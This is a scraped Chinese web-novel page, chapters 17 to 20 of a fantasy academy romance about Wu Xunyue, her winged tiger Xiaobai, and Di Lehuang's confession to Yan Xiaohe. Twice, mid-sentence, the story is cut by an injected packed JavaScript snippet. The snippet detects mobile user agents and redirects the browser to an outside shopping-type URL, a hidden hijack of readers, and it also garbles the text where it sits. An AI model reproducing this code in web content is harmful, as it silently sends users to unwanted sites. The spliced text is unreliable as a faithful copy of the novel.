毕竟,她可不认为自己会和宗族之首司城家扯上什么关系,那位在灵族心中天神般的世子,怕是一辈子都只会活在她所听的茶余饭后闲谈之中,而不得见真人。 “倒也未必,”她忽然自言道,“说不定我就进了九部令了,到时再看看,到底有没有说的那么帅……是不是比他还帅……” ——承认吧大黄丫头,自花海中一见,你便开始馋他身子了。 试衣间里,巫寻月埋头偷笑起来。 之后不久便是中秋了。同学们多是家住神都,留校的不多,但食堂也照开。好在三位舍友都来自都外,相互陪伴,也不觉得寂寞。 中秋节前的一周,倒是有件事。代萱主动申请退出一班,降到一重灵班级上课。她自觉只有一重灵,实在跟不上一班的进度。巫寻月劝过她,也说可以在学业上帮帮她,可她还是决意走了。 代萱说:“好像短暂地做了一个天才的梦,来这里看过了,发现自己真的不属于这里,是学校高看我了……” 大约是慕学文将此事告知慕丹青,一天慕丹青在食堂遇到巫寻月,便对她说:“现在你可知,何为德不配位了?” 慕丹青话虽说得直白,却是最简单的真相。强行待在自己融不进的环境里,于自己无益,只是徒增烦恼罢了。 中秋之夜,她们在宿舍里摆瓜果月饼赏月,坐了一阵后,却仍是各自去思乡。 巫寻月在给姐姐写信。她告诉姐姐,神都真的很好,繁华,富庶,比她想象的还要宏伟;她告诉姐姐,神都真的很好,学校里老师对她都好,拿她当个宝,都愿意倾囊相授;她告诉姐姐,同学们也都好,自她逐渐展露天赋,人人都敬重她、佩服她,看她的目光满是崇拜;她告诉姐姐,其他人也都好,有个女孩虽第一次见面冲撞了她,却是真心拿她当对手,把许多道理说与她听。 ——姐姐,神都真的很好,女子与男子并无不同,女子若是更出彩,一样受人敬重。 ——姐姐,真想你也来看看神都。 巫寻月写完了信,装进信封里,出门去了学校寄信处。 寄信处往山下走,有一段路程。回来时,她才有闲心环顾四周,发现草木皆看得一清二楚,月夜亮得惊人。她抬头仰望,一轮满月悬在墨蓝的天幕上,格外巨大。 巫寻月追着月亮而去,不知不觉便走到了断崖,从此处望出就是全幅画景,视线里没有一丝遮挡,只有纯粹的,能和姐姐、小白一同望见的月亮。 巫寻月大哭起来:“小白……小白我好想你啊小白……” 突然,虫鸣声止,一阵烈风没来由地腾空而起,巫寻月惊异地抬起头,就见到有庞然大物从崖下缓缓出现,巨幅双翼一展,一头白虎凌空出现在她面前。 巫寻月简直不敢相信自己的眼睛,泪水横在脸上,她惊愕地看着小白,直到它低吼一声,她才确信这是真的,呼喊着向前扑去:“——小白!小白!怎么是你!你怎么在这里!” 18. 第 18 章 一人一兽双向奔赴,在断崖前相拥。 巫寻月抱着小白的半个脑袋,嚎啕大哭:“小白,小白,我好想你啊啊啊——神都什么都好,可就是没有你……” 小白吐出舌头,一个劲儿地舔她,低吼间似有呜咽,整张毛绒绒的脸看起来潦草极了。 “小白,你怎么在这里?你说你一直跟着我,但不能太靠近是吗?呜呜呜小白……” 巫寻月抱着小白哭了好一会儿,突然抬起头来,对着它圆溜溜的巨眼说:“小白,我知道你是谁了,你是巨翼幽虎,对不对?上古九大灵兽,对不对?” 小白呼了口气,歪头倒在她怀里。巫寻月笑起来,说:“好了好了,我知道你不在乎这些名号,可是我就是很想了解你呀,我也只有了解你,才能更好地保护你——之前在家的时候,那里的驻城灵师说他们监测不到上古灵兽的灵压,我还差点问出口呢,幸好我聪明没问。” “可是小白,我还有一个问题……”巫寻月揉着小白的耳朵,轻轻说,“那那个人又是什么级别呢?为什么你一开始不在乎他,后来又在乎他了……他变得很厉害了吗?有多厉害?” 这一次,小白没有回答。虽然无法阻拦她一步步向灵师靠近,可至少,小白要阻拦她向危险的人靠近。 小白把头摇成拨浪鼓,带起一阵风。 巫寻月无奈地叹了口气,说:“好像所有人都在阻止我了解他,梅老师不说,你也不说,难道……难道是他不想让我了解的吗?又为什么呢?明明是他让我来神都的……” 巫寻月一口气说了好多好多话,她许久没说过这么多话了,自从离开邬戍城,她处处小心,收敛谦持,处处谨慎。她知道在家乡那座小城里,她可以做那个恣意策马的明媚少女,姐姐保护她,小白保护她,可,这里是神都,只有她自己。 “小白!我看了书,书上说你打败了森罗老祖!是真的吗!” 看着她期待的大眼睛,小白真是无语,挣扎着离开她,把头扭向一边。 “哈哈哈哈好了好了……”巫寻月大笑起来,“我知道你厉害,我就是问一下嘛,毕竟前面把森罗老祖说的那么厉害,突然一下子就被你打败了,我哪知道你那么……哎呀好了好了!我知道你更厉害了行不行!” 小白这才罢休,停止向后拱她。 而后,小白抬起头,认真地看着她。巫寻月听明白了:“小白,你是说,你不能在神都周围待太久,会被发现的对吗?那你快走吧,回家去等我……你还要来看我?可是……” 巫寻月犹豫再三,还是决定忍痛:“小白,你还是不要来了,就回家等我,我不想你遇到危险,也不想你因为我,遇到你不喜欢的事……我知道你不喜欢被发现,被打扰。” 小白没答应,直勾勾地看着她。 巫寻月捧起小白毛绒绒的脸,认真说:“小白,书上说了,上古灵兽战力非封号灵师可敌,我嘛肯定是到不了封灵,可是,我也会努力保护你,不让任何人欺负你的。” 小白默默地看着她,突然从鼻孔中吼出气来,像是被逗笑了。 巫寻月笑起来:“小白,那你快走吧,若是想吃肉饼,我写信让姐姐在山口多放些用来祭拜山神。” 小白依依不舍,巫寻月几番催促,才最后蹭了蹭她,转过身,再回头,再转身,双翼一振,飞向无边的月色。 巫寻月看着小白远去,直到完全消失在她的视线里,什么也看不见了。 巫寻月在断崖前站了好一会儿,才转身准备离开。突然,她注意到不远处有动静,便一个闪身将自己藏起——她天赋上佳,一个月时间,瞬移已然初步成型。 巫寻月藏在灌木之后,很快,就听见不远处传来一个女孩的声音,很是殷切:“——我就知道你会来的。” 不远处的悬崖边,立着一道明显是男子的高大身影,暗紫色广袖对襟长袍官服溶于夜色,一阵风起,带起他半披长发,几道银丝在月色下闪动,颇有仙风道骨之姿。 男子缓缓回头,看向他身后不远处的女子。那女子有闭月羞花之容,月色清辉落在她脸上,清冷之气尽展,若是不识,定以为是仙女落入凡间。 面对她如此姿容,男子显得格外冷漠了些:“找我何事?” 狄乐凰走上前去,殷切地望向他:“还未恭喜你,得升八令座首,我该喊你封座大人了。” 言萧鹤淡淡道:“你在信中说过了。” 狄乐凰显得认真而急切:“封座大人,我连中秋都没有回家,一心关在学校里修炼,虽然我已有九重灵,自是能评上优秀毕业生,可终究不是第一名,我怕……” 言萧鹤知道她想说什么,却不打算说出来。还是狄乐凰自己说了下去:“我怕别人在我前面选了八部令,那到时,你会不会选我啊……” 一阵沉默弥漫开来。 面对狄乐凰满眼的期待,言萧鹤简直是绝情寡义:“即便只有你一人选八部令,我也不会同意。” “——为什么!”狄乐凰脸色骤变,向前迈了一步。 言萧鹤别过脸去,道:“八部令本为先遣部队,主速战,我是强攻系,部众也多为强攻系,你为控制系灵师,不合适。” 这理由冠冕堂皇,也不无道理。狄乐凰看起来急坏了:“可是八部令中也有控制系灵师,并非全是强攻系啊!十一令中除十部令以外,并没有明确规定招收的灵师类别,也并不是先遣队就一概不收控制系的!” 言萧鹤不想过多纠缠:“你之前说过有此意时,我已言明不允,若你执意要选,我也会以此为由拒绝。” 狄乐凰怔怔地看着他,再开口时已带了哭腔:“……那你还来干什么?” 言萧鹤迟了迟,才说:“此番话,还需再向你正式说明,望你另做考虑。” “你骗人。”狄乐凰斩钉截铁。 她离得太近,言萧鹤不得不再别过脸去,声音里透着强硬的生冷:“此事我何须骗你,若是天听阁或狄宗主问起来,我也……” 狄乐凰打断他:“你明明知道我去八部令是为了谁!” 言萧鹤不再做声,他面对不了她的眼睛,后退一步转了身。狄乐凰却紧追着过去,逼迫他面对自己,厉声质问道:“你怎么不说话了?你说话啊!” 言萧鹤避开她的目光,垂眸道:“此事我也已与你说明,我们……” “言萧鹤!”狄乐凰眼嗜泪水,声线却满是倔强,“你看着我,你看着我告诉我,说你今夜来此,就只是为了跟我说这些……” 言萧鹤根本无法看她,不得不转过身,就要离开。可她凄厉的声音在身后破空而来:“——言萧鹤!你为什么不敢承认你心里有我!” 言萧鹤猛地停住脚步,却未回头。狄乐凰追得累了,也只站在原地,默默流泪。 良久,他背对着她,疲惫地说:“我跟你说过,我与你年龄差距太大,绝无可能。” “我不在乎啊,”狄乐凰走近他几步,“你为什么要在乎?” “——你有没有想过你爹怎么想?” 狄乐凰好像根本没听见他说了什么,只在意他声音里的温柔了。她笑了笑,脸上泪水散开,好是凄美:“那你就是心里有我。” 言萧鹤无言以对,未离开,也未转身。 狄乐凰一步步慢慢走到他身前,面对他的垂眸,进一步质问:“你说啊,为什么你连心里有我都不敢承认?” 言萧鹤身心俱疲,重重沉了口气,低哑道:“乐凰,我……” 他没再说下去,狄乐凰起身环抱他的后颈,将他吻了。 言萧鹤没有拒绝,也没有愣怔太久,便扣紧她的腰回应了她。 躲在树丛之后的巫寻月,抱着自己的头,快要精神错乱了。 ——八令封座言萧鹤!和……五大宗族的狄家郡主……神都第一美人……狄乐凰! 最开始见到言萧鹤时,见他明显有三十好几的模样,巫寻月还纳闷狄乐凰和他单独来此会是什么关系,竟没想到…… 狄乐凰到底为什么会……喜欢大叔…… 即便是个帅大叔…… 两人吻得仿佛就要生离死别,甚至言萧鹤过于纵容自己,动作极为不轨。可突然某一刻,他像是从梦中惊醒一般,决然与狄乐凰断开,惶恐向后退了一步。 见他如此神色,狄乐凰在他近身逼问道:“封座大人……你在干什么?” 言萧鹤痛苦地闭上双眼:“对不起,我……” 狄乐凰上前抚摸他面庞:“为什么要对不起?我们什么也没有做错,你未娶,我未嫁,我们有什么好……” 言萧鹤没让她说完,心一狠将她的手甩开,毅然转身离去。狄乐凰刚迈出第一步去追,只见他大手一挥,一道金光锁链从广袖间凭空生出,直扑狄乐凰,眨眼之间已将她捆定,动弹不得。 ——这是巫寻月生平第一次见到了高级封印类控术,捆灵锁。 狄乐凰被捆在原地,徒劳挣扎之时,厉声哭喊:“——言萧鹤!你给我站住!你告诉我,为什么我们不能在一起! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674294|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么!” 言萧鹤一言未发,没让自己再回头,一个闪身,彻底消失在了夜色之中,只留她痛苦的呼喊:“——言萧鹤!言萧鹤!” 到底是心疼她,待他彻底消失,那道金锁即刻碎裂,很快消散在了空气中。 狄乐凰瘫倒在原地痛哭,不远处的巫寻月一声叹息,便被她听到,一声质问:“——谁!” 巫寻月还未走出,就见一把泛光灵剑不知从哪射出,于她面前凌空停下,剑指她眉目。巫寻月老实走了出来,双手投降,怯怯道:“……对不起,学姐,我是一年级的,我……刚好路过。” 狄乐凰定睛一看,便说:“巫寻月?” “……是,”巫寻月很是惊讶,“学姐你见过我吗?” 虽然脸上挂泪,但狄乐凰开口却很淡定:“早就听闻新生中有一天才,不仅已有七重灵,还生得倾城绝艳,堪与我比肩,我在学校里近一个月都未见谁有如此姿容,今日一见,自然就明白了。” 巫寻月不知道该说什么,僵硬地扯了扯嘴角,说:“学姐好……” 狄乐凰抹了把泪,转身看向刚才的悬崖,说:“刚才……你都看见了。” 巫寻月只得默认,很快就说:“学姐,我肯定不会说出去的……” 狄乐凰似乎并不着急,她收回目光,声音里满是倔意:“我勇敢追求我所爱,有什么见不得人的?” 巫寻月心头一震,为她的勇敢和坦荡所拜服。她站在风中,像个女侠一样,勇往直前,岿然不倒。可巫寻月也心疼,沉了口气,认真说:“可是学姐,平白饱受流言,受人非议,也属无妄之灾,绝不是什么好事,大家……都拿你与司城家世子寻开心,无人在意你心中所想,你定也恼。所以,我不会说出去的。” 听她此言,狄乐凰回了头,认真注视着她。还真是倾世之容啊,每每与她说话,都忍不住多看一会儿再开口,从前她想看美人只能照镜子,现如今也体会到了别人看她的感觉。 狄乐凰轻轻一笑,走近巫寻月,道:“我不在乎别人说什么,任他们说去,谁有本事说到我狄乐凰面前,我倒要高看他一眼了——不过,你有此心,我很感谢你,也是许久未有人能如此与我交心了。” 狄乐凰从怀中掏出一块令牌来,交到巫寻月手中,说:“听说你家不在神都,中秋也只能留校,这是我狄家令牌,你旬休若是无聊,可来神都城我家找我。” 巫寻月看着手中的令牌,有些受宠若惊,但还是婉婉冲她一笑:“好,多谢学姐,有机会我一定去。” 狄乐凰转了身:“你先回去吧,我想在这待一会。” “好,我便不打扰了,”巫寻月与她道别,想了想,又说,“学姐,刚才……言封座想必是心乱了,否则他决然不会没发现我的。” 狄乐凰笑了笑:“我知道。” 这一句,巫寻月说得很坚定:“我且不知言封座大人是否还有其他缘由,但无论如何,我都钦佩和支持你的勇敢,也希望你不要轻易放弃。” 狄乐凰回头,冲她一笑:“谢谢你,我自是不会放弃。” 巫寻月带着狄乐凰的令牌回到了宿舍,将令牌收好,便躺下歇息了。 枕着乌金鹍图腾枕头,她心事重重。今夜,信息量过于巨大了,先是生平以来见到了第一位封号灵师,第一次见识了高级控术,再是撞见狄乐凰与他…… 也不知小白回到家里没有。书上说了,巨翼幽虎能日行千里,也不知是一日还是半日。怪不得她跟小白说那个人到神都只需三个时辰,小白如此嗤之以鼻呢。 小白啊小白,真没想到她的小妞儿,竟是令人闻风丧胆的上古灵兽,万兽之王。直到现在想起来,她都觉得不可思议。 巫寻月将脖子的罡灵坠取下,准备塞进枕头底下,倏然又想起,她是该找机会再去神都城了,下次旬休日约玉文瑛一道?又或者……狄乐凰也许更能帮到她。 可巫寻月不喜欢自己这种结识了贵女就想抛弃好朋友的感觉,这让她觉得自己在违背道义。 无论如何,玉文瑛很早便说约她一道去神都城,总该先是和她一起去的。 想起狄乐凰,不免又想起了那个人。 巫寻月叹了口气,自己何尝又不愁呢。她已然确信他身份高贵,可究竟高贵到什么程度,是否在她可接受的范围内,她不敢想。如若真是她不能接受的层级,那么她是否可以像狄乐凰一样勇往直前? 巫寻月倒是没有失意太久。至少现在,她依旧对他满怀期待。 19. 第 19 章 中秋节次日一大早,梅府就来了客人。狄乐凰一进门就直捣内院,步履急促,若不是在人家府中遁术乃失礼,她必然已直接瞬移到他门口了。 一路无人阻拦,她从小到大如此,梅府中人也习惯了。到了梅见蹊书房门口,她再也按捺不住,大喊着他的名讳,一个瞬移冲到他面前:“——梅见蹊!” 梅见蹊正坐在案后,手中捧着本账册,一听到她的声音,作出一副被吵聋的模样,显得很不耐烦:“没大没小。” 到了他近处,狄乐凰眼见他手捧账册,一声哂笑:“装什么装?你还会看账册?” 梅见蹊瞪了她一眼,道:“我乃梅家世子。” “你省省吧,”狄乐凰一把将那本账册打掉,尤为急不可耐道,“我问你,你可曾听说我这届毕业生中,那几位强攻系九重灵的志愿意向?” 梅见蹊懒得看她:“我只是个历史老师,打听那么多干什么?” “那你去帮我打听啊!探听他们是否……”狄乐凰没说完。 梅见蹊这才看向她,看戏一般想让她自己说出来,见她久久不言,才浅薄一笑,道:“与你同届的强攻系九重灵共有五人,枫家那小子不愿远离神都,自然是要进一部令。余下还有四人,十一令中主强攻的还有二、四、七、八部令,往年毕业生之间在志愿选择上也会提前互通一二,有所协商,所以——八部令如论如何都会有人选。” 他一语道穿她,狄乐凰一时语塞,闷了好一会儿,才嘴硬道:“那……他们也不一定全都进十一令,或许有人……” “别打言萧鹤的主意了。”梅见蹊实在懒得再与她打哑谜,干脆掐断了她的话。 “我……”狄乐凰霎时红了脸,理不直气也不壮了,“你又知道……” 梅见蹊语气仍是漫不经心,可眼神却很是笃定:“他就是个武痴,一心只想着修炼,这么多年不近女色,脾性也是古怪得很,你是宗门郡主,背后牵扯关系复杂,他根本不会想参与宗门纷争——他不会跟你好的。” 梅见蹊的语气在狄乐凰听来过于草率了,又是这般毁她所爱的论断,她一时恼羞成怒,当即反驳:“——谁说的?他亲我了。” 梅见蹊一听,脸色变了,十分冷峻地看向她,问:“言萧鹤——亲你?他主动的?你确定?” 狄乐凰在那鼓鼓囊囊,好一会才承认:“……是我先主动的,可他未躲开,也……” 梅见蹊帮她补全:“回应你了?” 狄乐凰绯红的脸颊溢满甜蜜,小嘴一噘,还骄傲得很:“又不是只有一次……” 这一次,梅见蹊是真的沉默了。 良久,他才向后一靠,穷途末路一般摇了摇头,道:“你完了。” 本学期的历史课本巫寻月早就读完了,但梅见蹊在课上废话多得很,时常将世家大族和灵师高层间的趣事说与他们听,历史课也还是听得津津有味。 同学们也时常会向他打听八卦:“老师!穹仪封座在追闻人阁老是真的吗?” 梅见蹊将书卷成棍,往他头上一敲:“你个十一岁娃儿,管那么多干什么?” “老师,狄家郡主和司城家世子到底是不是一对儿啊?” “狄家郡主此刻正在这瀑布后练功,不然你现在亲去问她?” …… 西老师这边,单独给巫寻月开的调息课也结束了,她已能初步自主运转七重灵,不再出现灵力不受制而紊乱的情形,目前所掌握的调息方法,足以匹配她所学习的灵术课程。但,这不是天才所求,也不是老师对她的期待。因此,她仍继续超前学习更深入的调息方法,西老师也说,若有问题,可随时找她请教。 超前学习进阶调息之法,必是为了匹配更高阶的灵术学习,在这一点上,慕丹青帮了她许多——确切来说,慕丹青简直是迫不及待让她开始学习控术。 不到两个月的时间,巫寻月已熟练掌握入门攻击类控术焰炮轰和掌心雷,并且能将后山的小石墩给炸飞了。甚至有一次,她炸掉了兽园的一片围墙,惊跑了一群圈养在其中的青信鸟——专门负责送信的灵鸟。她还未学会驯化禽类的方法,吓得大惊失色,还好有慕丹青在,轻轻松松便将群鸟召回。 至于那堵围墙……俩人一块被罚着把围墙重新砌好,又去喂了一星期的鸟,这事才算完。 见到竟是这俩一起闯的祸,并且巫寻月还是主犯时,梅见蹊简直要气得心梗,当场怒吼:“——慕丹青!谁让你把她带坏了!啊!” 巫寻月抿嘴不说话,慕丹青更是翻着白眼,一脸无所谓。 “装吧你就!”一出门,慕丹青就狠狠推她的头。 “装还是得装的。”巫寻月脸上憋着笑,竭力藏住。 “哼,下回我定狠狠揭穿你!”慕丹青双手抱胸,拧着眉头冲她翻白眼,“每次总是我挨骂,梅见蹊竟不知道,你从前在家乡时比我还要顽劣!” 巫寻月晃着脑袋走在她前头,步伐歪歪扭扭,走得极为嚣张,全当没有听见。 “攻击类控术是基础,防御类控术要难些,封印类控术最难,二年级上学期只学攻击类控术,下学期也只能摸到防御类和封印类的皮毛。”慕丹青如是说。 这个时候,她刚教会巫寻月使用霹雳火——进阶攻击类控术的首招,巫寻月成功将一大片野地炸飞了草皮,留下不灭的烈火,慕丹青使了一道游龙决便将火浇了——同样是进阶攻击类控术,要再难一些。 巫寻月细想这其中原理,试着说道:“是不是因为……攻击控术的本质乃直接将灵力输出,对目标造成破坏即可;而防御控术则需要在拥有稳定灵力的基础上,构筑自我体系;到了封印控术,则是集两者之大成,既要足够输出将对手制服,且得张弛有度,不是纯粹地破坏——而是要活捉?” 慕丹青可太喜欢她这一副认真的模样了,每每总忍不住想亲她——她才不会真表现出来。慕丹青佯装端着架子,摆出孺子可教的做派,淡淡道:“很对,你这个比喻用得好,比起不计后果的攻击,当然是活捉更难——所以,你可知为何三令封座云崖朝乾在战力榜上如此靠前?” 她话锋一转,勾起了巫寻月兴趣,问:“为什么?” “因为三部令主要执行只抓不杀的任务,如你所言,活捉最难,因此,云崖封座是个绝对的控制系巅峰强者。” “原来如此……”聊到控制系,巫寻月总是多向往些,期待地看向慕丹青,“你是控制系灵师,所以其实你最擅长的还是封印类控术?” 慕丹青有些惭愧:“实则不然,我防御类学得最好,因为我伯父慕之遥所在的六部令最擅长防御,他提点了我许多,封印类实在太难,很少人能学到精通。” “那你可知,年轻一辈里谁是封印类控术的高手?” 这个问题,在当代灵师里几乎没有第二个答案,慕丹青想也不想就回答:“司城家世子。” ——噢,又是司城家世子。这大概是今天巫寻月听到的第十回。 短短两个月,巫寻月的武术和遁术已达到了二年级水平,更别提她自带的药理和驯兽技能,外加已将攻击类控术自学到进阶,如今的巫寻月,一个常规三年级学生与她对打,也未必能有胜算。 巫寻月没有忘记打探罡灵坠的事,只是中秋后课业多了些,随后又接着准备期中考试,她才暂时将此事搁置。 她也还未前去狄府拜访,听老师们说狄乐凰这段时间发了疯一样想冲击飞升真灵境,一直留在学校修炼久未回家,她从未前去打扰,谁也不想贸然解开她人伤疤。 期中考试结束次日便是旬休日,巫寻月轻松应考,未觉得有何不对,晚上便考虑起了第二天去神都城中逛逛。 巫寻月前去玉文瑛宿舍约她,刚进院门就碰见她舍友——是舍友先认出她的,直接就问:“来找文瑛吗?她在呢。” 巫寻月跟着那同学走进屋内,同学走在前头,还未近就对里头喊:“——文瑛,你那个朋友来找你了。” 你那个朋友。这已成了巫寻月的专属称号,所有对玉文瑛提巫寻月的人皆是这样称呼,就好像她只有这么一个朋友似的——当然,这是玉文瑛自己的想法。 巫寻月跟着进去,一眼对上玉文瑛有些意外的神情,她笑了笑,问:“你怎么来了?” 巫寻月走到她近处,笑言:“明日旬休,我们可要一同到神都城去逛逛?早前就说要一起去,却一直不得空。” 几位舍友听闻,都面露几分惊讶。玉文瑛更是明显一愣,似乎已不记得此事,她没有很快答应,却也找不到理由,便只好先说:“好啊……” 巫寻月瞧出不对,直问:“文瑛,你怎么了?可有心事?” “……没有啊。” 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674295|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不似从前自然,巫寻月有些无措,未多想,又说:“那你现在可有事?我们出去走走吧,我有事想说与你听。” 好像不在舍友们面前能令她轻松几分,玉文瑛答应了:“好。” 神都十一月的深山里寒意逼人,宵明雀四散在校园各处,灼亮荧光照亮了一条条青石板铺就的校道。这是一种小型灵兽,昼伏夜出,夜间通体发光,学校饲养来用以照明,校园内均匀分布着它们的喂食处,以保证它们无处不在。 巫寻月身着杏色提花对襟长袄,外披粉色缕金白风毛大氅,白狐毛领帽子将她如玉般的脸蛋合围起来,显得小巧娇俏,可爱极了,路遇之人无不回头再看她。玉文瑛则一身雪青色绣花袄裙,外罩玉色妆花绒兔毛斗篷,很是淡雅别致。 两人家境相当,玉文瑛却素净了些,巫寻月的吃穿用度是要阔绰不少——全因为巫画荻宠她,知她臭美爱买漂亮衣服和首饰。 两人分别手捧暖炉,一同沿校道散步。巫寻月先问她:“期中考试怎么样了?” 玉文瑛叹了口气:“这学期开始学封印类控术,实在是难,虽说我强攻系可不那么擅长,可也得把考试这关过了。” 巫寻月说:“封印类控术确实太难,我听五年级控制系的同学说她也尚不能够精通,你无需太焦虑,能混过考试便好。” 玉文瑛微怔,问:“是那位神都慕家的姑娘吗?” “是啊,”巫寻月眼看前方,未注意到她的表情,继续说,“丹青说她伯父六令封座主掌防御,对她也多有提点,可她也未能信手拈来呢。” 玉文瑛听完,更是吃惊:“听闻她素来骄傲,自信同级灵力中绝不会落于下风,可竟……肯与你说这些?” 巫寻月一笑,声音满是纯真:“其实丹青人很谦逊,哪怕是已熟练的灵术也愿意再精进些,颇有大家风范呢。” 玉文瑛未作回应,也没继续主动说些什么。 两人一道走了片刻,就见不远处有人走来,这寒冬之夜,那人穿得却很单薄。巫寻月埋脸在狐毛领间,看不清来人,对方先认出了她,高喊道:“寻月——” 巫寻月循声看去,当即惊喜地回应道:“学姐好。” 待玉文瑛看清来人,更是震惊无比——竟是狄乐凰。 狄乐凰手上抱着裘衣,两人走近,巫寻月先寒暄起来:“穿得如此单薄,是刚练功回来?” 狄乐凰抹了把脸上的汗,笑言:“是啊,一日未有半分长进,算是徒劳了。” 巫寻月努努嘴,说:“学姐哪里话,不日等你飞升成功,定要感谢今日这份努力呢。” “哈哈哈哈……”狄乐凰被她逗笑了,“倒希望借你吉言了。” 巫寻月又说:“晚上太冷,再出汗也得穿上外衣,否则容易伤寒,那可就真的得好好养着不能修炼了。” 听她此言,狄乐凰还真乖乖穿上了衣服,一边穿一边问:“你呢?要去哪里?” “不去哪里,晚饭积食,和朋友出来走走。” 狄乐凰看了一眼玉文瑛,佯装不高兴了:“噢,我说怎么久不见你来我家找我,还以为是不是你丢了令牌不敢说,原来是朋友太多,排不上我。” “……学姐!”巫寻月在冲她撒娇,“我哪有。” 狄乐凰真是被她可爱到了,忍俊不禁:“好了好了,真受不了你,怎学的如此会撒娇的?” 两人道了别,巫寻月回过头来,想喊玉文瑛继续走,就瞧见了她怔然之色,问:“怎么了?” 玉文瑛难掩惊诧,问:“你……何时结识了狄家郡主?还……持有她家令牌?” 巫寻月这下听明白了,她与宗门贵女交情甚密,令玉文瑛感到吃惊——更直接一点,她的羡慕也是藏不住的。 可偏偏这件事,巫寻月真的无法坦诚相告。她只好说:“偶然碰见了,觉得还算聊得来,学姐知道我家不在神都,就说我可以去她家,可最近听闻她修炼刻苦,我也没有去打扰。” 她如此言辞模糊,落在玉文瑛眼里,便有了“藏着与贵女交往秘法不带朋友”之嫌了。玉文瑛又是试探:“所以你修炼如此之快,都是她们在帮你?” “她们的确帮了我许多,可其实最主要的……”巫寻月停下脚步,转身面对玉文瑛,并未犹豫,就从心口处将那只罡灵坠掏了出来,说,“最主要还是因为这只灵器。” 20. 第 20 章 20. 玉文瑛定睛一看,见她掌中灵器宝石镶面,巧夺天工,一看便不是普通常见的灵器。她怔怔问:“这……这如何有助于修炼?” 巫寻月如实相告:“当时赠我之人其实并未言明,我一直佩戴着它,开始学习灵术之后才有所感应,怎么说呢……它像长在我心里的眼睛,能清楚看见灵力流向所在,又像是长了嘴,每当我练功时,心里都有一个声音不断提醒我如何做才是最正确的,所以我总能事半功倍。” 玉文瑛完完全全地震撼了。此等灵器,不仅她从未见过,从未听说,甚至在她生平所识的所有灵师里,包括父亲,也未有提及。玉文瑛抿了抿唇,道:“这灵器……是何人赠与你的?” 巫寻月没有立即回答。 关于那个人的一切,她从未向任何人告知,迟安瑜没有,慕丹青没有,狄乐凰没有,就连与她隔着层窗户纸的梅见蹊,她也从未将与他的渊源告知。 他是她心底最美好的秘密,就如同山谷之中的那片花海一样,是她心底最神圣最干净的秘密,她藏在心间,生怕捧出来被一粒尘埃所扰。 可终究,玉文瑛于她,与别人情分是不同的。玉文瑛是她踏入灵师世界的第一人,为她铺陈了灵师世界的雏形,为她提了盏通向灵师世界的明灯。 她没有忘记自己独自一人乘马车离开家乡,踏上未知世界一路的恐惧,直到在暮沉泊江畔遇见玉文瑛,她像光束般照了进来,告诉她她没在做梦。 她始终记得玉文瑛的恩情,始终记得玉文瑛说会以她为傲。 所以,她想,如果这第一人要告诉谁,也应当是玉文瑛。 巫寻月沉了口气,缓缓开口:“他……是一位偶然到邬戍城的灵师,我们机缘巧合之下相识,他便鼓励我来神都学习灵术,给了我这灵器,可并未告知我他是谁。” 巫寻月抬起头,不顾玉文瑛惊愕,继续说:“所以,我想找到他。我听老师说神都城司城家的武器铺可做量身定制,这样便能见到司城家的人,好探听这灵器的出处。” 夜色太深,巫寻月没有发觉,玉文瑛的脸色已经变得很难看了。见她久不说话,巫寻月发问道:“文瑛?” 沉默在这冷寂的夜里显得格外漫长,就在巫寻月又要发问时,玉文瑛像是突然下定决心一般,直说:“我还是……不同你一道去神都城了。” 巫寻月结实一愣,这话完全出乎她意料:“怎么了?” 玉文瑛没在看她,神色黯淡,道:“我……我有点累了。” “……许是多日准备考试,累着了,”巫寻月真心安抚道,“那我们先回去吧,明日你好好歇息,其实我也不急,明日不去便罢。” 也不知道她是真不懂还是故意糊涂,玉文瑛终是忍无可忍一般,冷冷道:“我最近都太累了……你可知为何?” 巫寻月从没像此刻一样看起来如此之傻:“……为何?” 玉文瑛还是没有看她,侧身过去才开口:“我们一道从暮沉泊来,大家便知我们认识,自你入学,总有人向我不断打听你,问有关你的一切……刚开始我是很乐意与他们分享,可后来实在是……好像突然之间,所有人来找我就只有一个目的了,就是问你。” 巫寻月一瞬失色:“文瑛,我……” 玉文瑛抢着说了下去:“他们看起来非常羡慕我能做你的朋友,一开始我还觉得这是好事,可很快你名声大噪,比入学时更出名百倍,你的所有细节他们都想知道,都要来问我!甚至还问我为什么我们是老乡,我们的修为却差得这么多!” “明明我已经是四重灵了,成绩在班里也算上游,我的修炼也未曾懈怠,明明这些都是很正常的,按部就班的……”玉文瑛已然压抑许久,全然不顾该与不该说了,“可就因为你,我好像变得什么也不是了,突然之间我要与你做比较了……” 巫寻月到她近前一步,急切地道:“文瑛,你无需跟任何人比,我们每个人都不需要跟任何人比,若是要比,天赋比我高的世家子弟大有人在,每个人天生就是不同的,跟别人比根本就是没有意义的,那些人这么说,全是闲来无事……” “你以为这些道理我不懂吗?你以为我没这样开导过自己吗?”玉文瑛突然看向她,神色杂糅了愤怒、委屈、憋闷……和妒恨,“可你越来越惊人,一次又一次超出我的想象,让我一次又一次震惊,天分高,悟性强也就罢了,竟还……短短时间就结识了那么多世家大族子弟,拥有一个我根本没有听说过的至高法宝!” 巫寻月无言以对。她已然明白她的意思了。 